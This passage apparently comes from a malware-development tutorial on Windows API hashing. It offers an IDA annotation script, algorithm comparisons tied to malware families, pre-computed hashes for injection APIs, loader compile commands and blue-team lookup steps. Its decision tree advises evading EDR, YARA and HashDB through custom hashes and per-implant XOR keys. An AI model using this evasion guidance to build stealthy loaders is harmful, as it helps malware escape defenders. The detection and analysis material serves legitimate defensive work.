# IDA Python — scan binary for known hash constants and annotate
# Run from IDA Pro: File → Script File → this_script.py

import idc
import idaapi

# Known hash values: (hash_value, algorithm, api_name)
KNOWN_HASHES = [
    (0x0726774C, "ROR13", "LoadLibraryA"),
    (0xEC0E4E8E, "ROR13", "GetProcAddress"),
    (0x91AFCA54, "ROR13", "VirtualAlloc"),
    (0x7946C61B, "ROR13", "VirtualProtect"),
    (0xC7D05CA5, "ROR13", "CreateThread"),
    (0x534C0AB8, "ROR13", "NtFlushInstructionCache"),
    (0xA779563A, "ROR13", "InternetOpenA"),
    (0x876F8B31, "ROR13", "WinExec"),
    (0x56A2B5F0, "ROR13", "ExitProcess"),
]

def scan_and_annotate():
    print("[*] Scanning for known API hash constants...")
    found = 0

    for hash_val, algo, api_name in KNOWN_HASHES:
        # Search for this 4-byte value in the binary
        # Little-endian encoding
        pattern = "{:08X}".format(hash_val)
        le_bytes = bytes.fromhex(pattern[6:8] + pattern[4:6] + pattern[2:4] + pattern[0:2])

        addr = idc.get_inf_attr(idc.INF_MIN_EA)
        while True:
            addr = idaapi.find_binary(addr + 1, idc.get_inf_attr(idc.INF_MAX_EA),
                                      " ".join(f"{b:02X}" for b in le_bytes), 16, 1)
            if addr == idc.BADADDR:
                break

            # Add comment at this address
            comment = f"{algo} hash → {api_name} (0x{hash_val:08X})"
            idc.set_cmt(addr, comment, 0)
            print(f"  [+] 0x{addr:X}: {comment}")
            found += 1

    print(f"[*] Found and annotated {found} hash constant(s)")

scan_and_annotate()

17. Comparison Matrix

Algorithm Speed Collision Rate Code Size Used By Known Hashes Public Anti-Analysis
ROR13 Very Fast Low ~15 lines Metasploit, Cobalt Strike, Donut YES (HashDB, full list) Low
DJB2 Very Fast Low ~10 lines GuLoader, SloppyRAT, custom PARTIAL (HashDB) Low
FNV-1a Very Fast Very Low ~10 lines TrickBot, QakBot, Cobalt Strike NT PARTIAL (HashDB) Medium
CRC32 (table) Fast Very Low ~50 lines Various, hardware-accelerated PARTIAL Medium
CRC32 (HW) Fastest Very Low ~5 lines Modern malware (SSE4.2) PARTIAL Medium
Custom Additive Fast Variable ~15 lines APT custom tools NO High
Custom + XOR Fast Variable ~20 lines Advanced custom loaders NO Very High
ROR13 + XOR key Very Fast Low ~15 lines Modified CS / custom NO Very High
FNV-1a + XOR key Very Fast Very Low ~10 lines QakBot variant NO Very High

Legend: Known Hashes Public = the hash values for common Windows APIs are published in HashDB or public research.


18. Cheat Sheet

Quick Hash Selection Decision Tree

Need to implement API hashing?
│
├─ CTF / Learning / PoC?
│   └─ ROR13 — simple, well-documented, trivial to implement
│       Hashes for common APIs already computed (§5.2)
│
├─ Red team engagement — basic EDR (Defender only)?
│   └─ DJB2 or FNV-1a
│       Avoid ROR13 (YARA rules everywhere)
│       Add XOR key for your build
│
├─ Red team engagement — mature EDR (CS, SentinelOne)?
│   └─ Custom hash algorithm (§9) + XOR obfuscation (§13.1)
│       Regenerate XOR key per implant
│       No hash constants match any public database
│
├─ Shellcode (PIC, no imports, must be tiny)?
│   └─ ROR13 (x64 asm, ~20 bytes) — smallest PEB-walk resolver
│       Or FNV-1a (slightly larger but better collision resistance)
│
├─ Direct syscalls (Hell's Gate / Halo's Gate style)?
│   └─ DJB2 to find Nt* functions in ntdll
│       Then extract syscall numbers from function stubs
│       (SloppyRAT pattern — §14.3)
│
└─ Need to hide from HashDB reverse-lookup?
    └─ Custom algorithm with random seed/multiplier (§9.1)
        Never share your hash function parameters

Hash Constants — Quick Reference

Algorithm         Seed/Init       Key Constant    Notes
──────────────────────────────────────────────────────────────
ROR13             hash = 0        ROR right 13    Cobalt Strike/Metasploit
DJB2              hash = 5381     mult 33 (<<5+h) GuLoader, SloppyRAT
FNV-1a 32-bit     0x811C9DC5      * 0x01000193    TrickBot, QakBot, CS NT
CRC32             0xFFFFFFFF      poly 0xEDB88320 Various, HW available

Pre-computed ROR13 Hashes — Common APIs

API                           ROR13 Hash     Notes
───────────────────────────────────────────────────────────────────
LoadLibraryA                  0x0726774C     CS/MSF signature hash
GetProcAddress                0xEC0E4E8E     CS/MSF signature hash  
VirtualAlloc                  0x91AFCA54     Memory allocation
VirtualProtect                0x7946C61B     Memory protection
VirtualFree                   0x0CBA2521     Cleanup
CreateThread                  0xC7D05CA5     Thread execution
CreateRemoteThread            0x72BD9CDD     Remote injection
WriteProcessMemory            0xD83D6AA1     Process injection
ReadProcessMemory             0x9DAE8AB6     Process reading
OpenProcess                   0xDA94D131     Process handle
CloseHandle                   0x528796C6     Cleanup
WinExec                       0x876F8B31     Process spawn (simple)
ExitProcess                   0x56A2B5F0     Exit
NtFlushInstructionCache       0x534C0AB8     Required after shellcode write
NtAllocateVirtualMemory       0xF783B8EC     Syscall allocation
InternetOpenA                 0xA779563A     HTTPS beacon init
InternetConnectA              0xC69F8957     HTTPS connect
WSAStartup                    0x006B8029     TCP beacon init
WSASocketA                    0xE0DF0FEA     Socket creation

One-Liners — Hash Pre-computation

# Python — ROR13 hash of a single API name
python3 -c "
s='VirtualAlloc'; h=0
for c in s: h=((h>>13)|(h<<19))&0xFFFFFFFF; h=(h+ord(c))&0xFFFFFFFF
print(hex(h))
"

# Python — DJB2 hash
python3 -c "h=5381; [h:=((h<<5)+h+ord(c))&0xFFFFFFFF for c in 'CreateThread']; print(hex(h))"

# Python — FNV-1a hash
python3 -c "h=0x811C9DC5; [h:=((h^ord(c))*0x01000193)&0xFFFFFFFF for c in 'LoadLibraryA']; print(hex(h))"

# Python — CRC32 hash
python3 -c "import binascii; print(hex(binascii.crc32(b'VirtualAlloc')&0xFFFFFFFF))"

# Bash — check if PE has suspicious minimal imports (indicator of API hashing):
python3 -c "
import pefile
pe = pefile.PE('suspicious.exe')
imports = [d.dll.decode() for d in pe.DIRECTORY_ENTRY_IMPORT]
print(f'Imports: {len(imports)} DLLs: {imports}')
"

Compilation Commands

# Compile API hashing loader (MinGW, Linux cross-compile):
x86_64-w64-mingw32-gcc api_loader.c -o loader.exe \
    -O2 -masm=intel -fno-ident \
    -Wl,--strip-all

# Compile without any C runtime (truly minimal imports):
x86_64-w64-mingw32-gcc api_loader.c -o loader.exe \
    -O2 -nostdlib -e main \
    -Wl,--strip-all,-e,main

# Inspect IAT before/after:
dumpbin /imports loader.exe                    # Windows MSVC tools
objdump -x loader.exe | grep -A5 "IMPORT"     # MinGW/Linux
x86_64-w64-mingw32-objdump -x loader.exe | grep DLL   # cross-compiled

# Verify no sensitive strings remain:
strings loader.exe | grep -iE "VirtualAlloc|CreateThread|WriteProcess"
# Expected result: (empty — no API names visible)

# Compare IAT before API hashing:
strings normal_loader.exe  | grep -iE "kernel32|ntdll"
strings hashed_loader.exe  | grep -iE "kernel32|ntdll"
# hashed version: minimal or no output

Blue Team: Hash Lookup Workflow

# Extract hash constants from shellcode (using Python + binascii):
python3 -c "
import struct
with open('suspicious_shellcode.bin', 'rb') as f:
    data = f.read()

# Find all 4-byte aligned DWORD values (potential hash constants)
for i in range(0, len(data)-4, 4):
    val = struct.unpack_from('<I', data, i)[0]
    if 0x01000000 <= val <= 0xFFFFFFFF:   # filter small values
        print(f'0x{i:04X}: 0x{val:08X}')
"

# Query HashDB for each candidate hash:
curl "https://hashdb.openanalysis.net/hash/ror13/0x0726774C"
curl "https://hashdb.openanalysis.net/hash/djb2/0x9B7BFBC3"
curl "https://hashdb.openanalysis.net/hash/fnv1a/0x4ACC9B65"

# Use capa for automated API hash detection:
capa suspicious.exe
# Output will show: "resolve API via hash" + "enumerate exported functions"

# IDA Pro HashDB plugin workflow:
# 1. Right-click hex constant → HashDB Lookup
# 2. Select algorithm (ror13, djb2, fnv1a)
# 3. Import all hashes from identified module
# 4. Re-decompile → human-readable API names

References & Tools

Hash Lookup Services:

  • HashDB (OALabs) — https://hashdb.openanalysis.net (API hash reverse-lookup service)
  • HashDB GitHub — https://github.com/OALabs/hashdb (algorithms database, open source)

IDA/Ghidra/BN Plugins:

  • HashDB IDA Plugin — https://github.com/OALabs/hashdb-ida
  • HashDB Ghidra Plugin — https://github.com/OALabs/hashdb-ghidra
  • HashDB Binary Ninja — https://github.com/OALabs/hashdb-bn
  • BlobRunner — https://github.com/OALabs/BlobRunner (debug raw shellcode)

C++ API Hashing Libraries:

  • LloydLabs/Windows-API-Hashing — https://github.com/LloydLabs/Windows-API-Hashing
  • Sh0ckFR/API-Hashing — https://github.com/Sh0ckFR/API-Hashing (IAT evasion example)

Detection & Analysis:

  • capa (FLARE team) — https://github.com/mandiant/capa (automated capability detection)
  • PE-bear — https://github.com/hasherezade/pe-bear (PE inspection)

Further Reading:

  • ired.team — Windows API Hashing in Malware (practical C implementation)
  • Huntress Blog — "Hackers No Hashing" (ROR13 randomization research)
  • CrowdStrike Blog — GuLoader DJB2 dissection
  • Zscaler Blog — SloppyRAT DJB2 + Hell's Gate pattern
  • OALabs Research — API hashing algorithm database

← Malware development top ↑